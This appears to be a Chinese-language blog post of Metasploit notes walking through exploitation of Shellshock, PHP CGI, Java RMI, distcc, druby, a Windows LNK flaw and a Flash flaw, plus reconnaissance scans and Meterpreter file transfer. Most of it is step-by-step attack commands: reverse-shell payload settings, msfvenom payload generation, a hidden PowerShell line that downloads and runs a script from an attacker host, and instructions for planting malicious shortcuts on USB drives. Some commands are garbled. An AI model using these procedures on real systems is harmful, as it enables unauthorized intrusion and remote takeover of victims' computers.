Some Bugs

Bash Shellshock CVE-2014-6271(破壳)

Shellshock 的原理利用了 Bash 在导入环境变量函数的时候的漏洞,启动Bash的时候,它不但会导入这个函数,而且也会把函数定义后面的命令执行。在有些 CGI脚本的设计中,数据是通过环境变量来传递的,这样就给了数据提供者利用 Shellshock漏洞 的机会。

简单的说,就是由于服务器的 CGI脚本调用了 bash命令,由于bash版本过低,攻击者把有害数据写入环境变量,传到服务器端,触发服务器运行Bash脚本,完成攻击。

msf> search exploits
msf> search shellshock
apache_mod_cgi_bash_env_exec   //payload
msf> use exploit/multi/http/apache_mod_cgi_bash_env_exec
msf exploit(multi/http/apache_mod_cgi_bash_env_exec)> show options...
msf exploit(multi/http/apache_mod_cgi_bash_env_exec)> set targeturi /cgi-bin/hello.sh
msf exploit(multi/http/apache_mod_cgi_bash_env_exec)> set payload linux/x86/shell/reverse_tcp
msf exploit(multi/http/apache_mod_cgi_bash_env_exec)> check
msf exploit(multi/http/apache_mod_cgi_bash_env_exec)> run/exploit

PHP CGI 漏洞利用

 Server API —— CGI/FastCGI
msf> search cve:2012-1823
msf> use exploit/multi/http/php_cgi_arg_injection
msf exploit(php_cgi_arg_injection)> show options

Java RMI SERVER 命令执行漏洞与 java cve-2013-0422

Java RMI SERVER 的 RMI 注册表和 RMI 激活服务的默认配置存在安全漏洞,导致代码执行
nmap -p 0-65535 IP       //查看1099端口是否开启
msf> use exploit/multi/misc/java_rmi_server

Distcc 后门漏洞

安全组织索引:CVE-2004-2678、OSVDB-13378

原理Distcc 用于大量代码在网络服务器上的分布式编译,但是如果配置不严格,容易被滥用执行命令,该漏洞是 Xcode 1.5 版本及其他版本的 Distcc 2.x版本配置对于服务器端口的访问不限制

use exploit/unix/misc/distcc_exec

Druby 命令执行

Druby配置不当,被滥用执行命令
# 发现 8787 Druby 端口
search drb 搜索 drb 相关漏洞
set URL druby:IP:8787   , 设置目标 druby链接
msf5 exploit(linux/misc/drb_remote_codeexec)> set URL druby://192.168.0.102:8787
msf5 exploit(linux/misc/drb_remote_codeexec)> show options
msf5 exploit(linux/misc/drb_remote_codeexec)> run
... ...

CVE-2017-8464 震网三代(远程快捷方式漏洞)

  • 漏洞详情

北京时间 2017年6月13日凌晨,微软官方发布6月安全补丁程序,“震网三代” LNK文件远程代码执行漏洞CVE-2017-8464)和 Windows 搜索远程命令执行漏洞(CVE-2017-8543)
CVE-2017-8543当 Windows搜索处理内存中的对象时,存在远程执行代码漏洞。成功利用此漏洞的攻击者可以控制受影响的系统。
CVE-2017-8464当 Windows 系统在解析快捷方式时,存在远程执行任意代码的高危漏洞,黑客可以通过U盘、网络共享等途径触发漏洞,完全控制用户系统,安全风险高危。

  • 受影响的版本
    • Windows 7
    • Windows 8.1
    • Windows RT 8.1
    • Windows Server 2008
    • Windows Server 2008 R2
    • Windows Server 2012
    • Windows Server 2012 R2
    • Windows Server 2016
~# (!CVE-2017-8543)
msfconsole
msf5> search 2017_8464
msf5> use exploit/windows/fileformat/cve_2017_8464_lnk_rce
msf5 exploit(windows/fileformat/cve_2017_8464_lnk_rce)> set payload windows/meterpreter/reverse_tcp
msf5 exploit(windows/fileformat/cve_2017_8464_lnk_rce)> set HOST 192.168.xx.xx
msf5 exploit(windows/fileformat/cve_2017_8464_lnk_rce)> exploit
... ...
//生成文件,拷贝到 USB(移动磁盘里面)
~#
msf5> use exploit/multi/handler
msf5 exploit(multi/handler)> set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler)> set LHOST 192.168.xx.xx
msf5 exploit(multi/handler)> run
... ...   //开始监听
... ...

payload2 : 利用 Powershell 快捷键

生成攻击文件:search.ps1,终端输入

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.118 -f psh-reflection> /opt/search.ps1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.118 -f psh-reflection> /opt/search.exe
——然后将 /opt/ 目录下的 search.ps1 文件移动到 /var/www/html/
—— 随后打开 Apache 服务

service apache2 start

访问 web下的 sql 文件
然后在目标机上建立一个快捷方式

powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.10.118/search.ps1');test.ps1"
//请输入对象的位置(调用)
这里写好我们构造好的代码,然后选中 powershell.exe  再到本机上配置监听 
msf5> use exploit/multi/handler
msf5 exploit(multi/handler)> set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler)> set LHOST 192.168.xx.xx
msf5 exploit(multi/handler)> run
... ...
  • ShortCut Exploit B…

Flash 0day

  • 漏洞详情
    Adobe公司在当地时间 2018年2月1日发布了一条安全公告:
    https://help.adobe.com/security/products/flash-player/apasa 18-01.html

公告称一个新的 Flash 0Day漏洞CVE-2018-4878)已经存在野外利用,可针对Windows 用户发起定向攻击。攻击者可以诱导用户打开包含恶意 Flash代码文件的 Microsoft Office 文档、网页、垃圾电子邮件等

  • 漏洞影响
    Flash Player 当前最新版本 28.0.0.137 以及之前的所有版本
//1.下载 CVE-2018-4878 的脚本利用
wget https://raw/githubusercontent.com/backlion/demo/master/CVE-2018-4878.rar
//2.解压压缩文件后,可看到 CVE-2018-4878.py 和 exploiy.swf 我们只需要 CVE-2018-4878.py
//3.我们需要对 CVE-2018-4878.py 进行修改,原作者将代码中的 stageless 变量改成 true,正确的应该改成:stageless = False,另外别忘了修改最后的路径
原作者的exp地址:https://github.com/anbai-inc/CVE-2018-4878.git
//4.其次需要修改替换原来计算器的 shellcode
//5.在kali下生成 msf的shellcode(注意:一定要在老版本kali下生成大小为333字节的payload)
msfvenom -q windows/meterpreter/reverse_tcp lhost=localhost port=localport -f python>shellcode.txt
//6.将生成的 shellcode替换掉原有 CVE-2018-4878.py 中的 shellcode即可
//7.在kali下执行 CVE-2018-4878.py 这里需要和 index.html 在一个目录下,即可生成恶意的 exploit.swf
//8.这里为了演示将 index.html 和 exploit.swf 一同拷贝到目标靶机 win7x64上,在IE浏览器下打开(也可以通过搭建web服务器的形式将 index.html 和 exploit.swf 放在web目录下,访问地址来打开)
//9.在msf下进行监听设置
msf> use exploit/multi/handler
msf exploit(multi/handler)> set paload windows/meterpreter/reverse_tcp
msf exploit(multi/handler)> set lhost 10.0.0.21
msf exploit(multi/handler)> set lport 443
msf exploit(multi/handler)> exploit
... ...
//10.当打开目标恶意的index,html页面时,即可触发 反弹shell

Auxiliary 模块

情报搜集阶段,这一阶段主要是尽可能多的收集目标的各种信息。这里主要用到 Msfauxiliary 里边的 Modules,这里的 Modules 都是些渗透前期的辅助工具。一般的收集信息可以使用 Whois(这个是Linux自带的)db_nmap(这个是Msf的一个插件),如果要使用到其他的一些收集信息的方法,比如使用 Syn(一种不建立头层皮连接的扫描),可以在 Msfconsole里边 Search syn然后根据返回结果来确定使用哪个模块。

Whois信息探测:在 Msfconsole 下使用 Whois 查看域名信息。
msf> whois www.baidu.com
//查IP
msf> whois 114.114.114.114
利用辅助模块查找邮箱:use auxiliary/gather/search_email_collector
msf> use auxiliary/gather/search_email_collector
msf auxiliary(gather/search_email_collector)> show options
msf auxiliary(gather/search_email_collector)> set DOMAIN www.baidu.com   //设置一个域名
//因为google被国内封了,我们把google的搜索引擎关了
msf auxiliary(gather/search_email_collector)> set SEARCH_GOOGLE false
msf auxiliary(gather/search_email_collector)> run
... ...
//因为百度中没有存在邮箱所有搜索为 0
DNS 枚举,使用 auxiliary 模块下的DNS枚举模块:use auxiliary/gather/enum_dns
msf> use auxiliary/gathering/enum_dns
msf auxiliary(enum_dns)> show options
//设置一个域名,设置的是顶级域名,不要加www,不然爆破的就是 xxx.www.baidu.com
msf auxiliary(enum_dns)> set DOMAIN baidu.com
msf auxiliary(enum_dns)> run
... ...

端口扫描模块

内置 Nmap 扫描

**Msfconsole** 下的 **Nmap** 和 **kali 内置的 Nmap**效果其实是一样的。

SYN 扫描

扫描器目标主机的一个端口发送请求连接的 SYN包,扫描器在收到 SYN/ACK 后,不是发送的 ACK应答而是发送 RST包请求断开连接。这样,三次握手就没有完成,无法建立正常的 TCP连接,因此,这次扫描就不会被记录到系统日志中。这种扫描技术一般不会在目标主机上留下扫描痕迹。但是,这种扫描需要有root权限

TCP connect 端口扫描服务器端客户端建立连接成功(目标端口开放)过程:

  1. Client 端发送 SYN
  2. Server 端返回 SYN/ACK,表名端口开放;
  3. Client 端返回 ACK,表明连接已建立;
  4. Client 端主动断开连接。
msf> use auxiliary/scanner/portscan/syn
msf auxiliary(syn)> show options
msf auxiliary(syn)> set RHOSTS 192.168.xx.xx
msf auxiliary(syn)> set THREADS 100
msf auxiliary(syn)> run
... ...

TCP 扫描

**use auxiliary/scanner/portscan/tcp**
msf> use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp)> show options
msf auxiliary(tcp)> set RHOSTS 192.168.xx.xx
msf auxiliary(tcp)> set THREADS 100
msf auxiliary(tcp)> run
... ...

SMB 版本扫描

	use auxiliary/scanner/smb/smb_version
msf> use auxiliary/scanner/smb/smb_version
msf auxiliary(smb_version)> show options

SSH 扫描

	use auxiliary/scanner/ssh/ssh_version
msf auxiliary(ssh_version)> show options
//设置一个要扫描的IP,这里我们设置本机,本机正好是 Linux的系统
//先要把 ssh服务开一下
//设置目标IP和线程
msf auxiliary(ssh_version)> set RHOSTS 192.168.xx.xx
msf auxiliary(ssh_version)> set THREADS 100
msf auxiliary(ssh_version)> run
... ...

FTP 版本扫描

use auxiliary/scanner/ftp/ftp_version
//设置一个 IP段,只要选项里是 RHOSTS 的都是可以设置IP段的,再设置一个线程
msf auxiliary(ftp_version)> set RHOSTS 192.168.xx.xx
msf auxiliary(ftp_version)> set THREADS 100
msf auxiliary(ftp_version)> run
... ... 

Meterpreter 后期攻击使用方法

//1、上传文件到 Windows主机  上传本机的任意文件到远程目标主机中
upload <file><destination>   //注意:使用-r参数可以递归上传目录和文件
//2、从Windows主机下载文件   download命令可以下载远程主机上的文件
download <file><path to save>   //注意:Windows路径要使用双斜线
如果我们需要递归下载整个目录和文件,我们可以使用 download -r
meterpreter> upload yeahhub.txt c:

以上是一些有关网络安全学习的笔记,仅提供借鉴学习交流!!!
如若使用以上行为做出不当行径,与本人无关!!!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值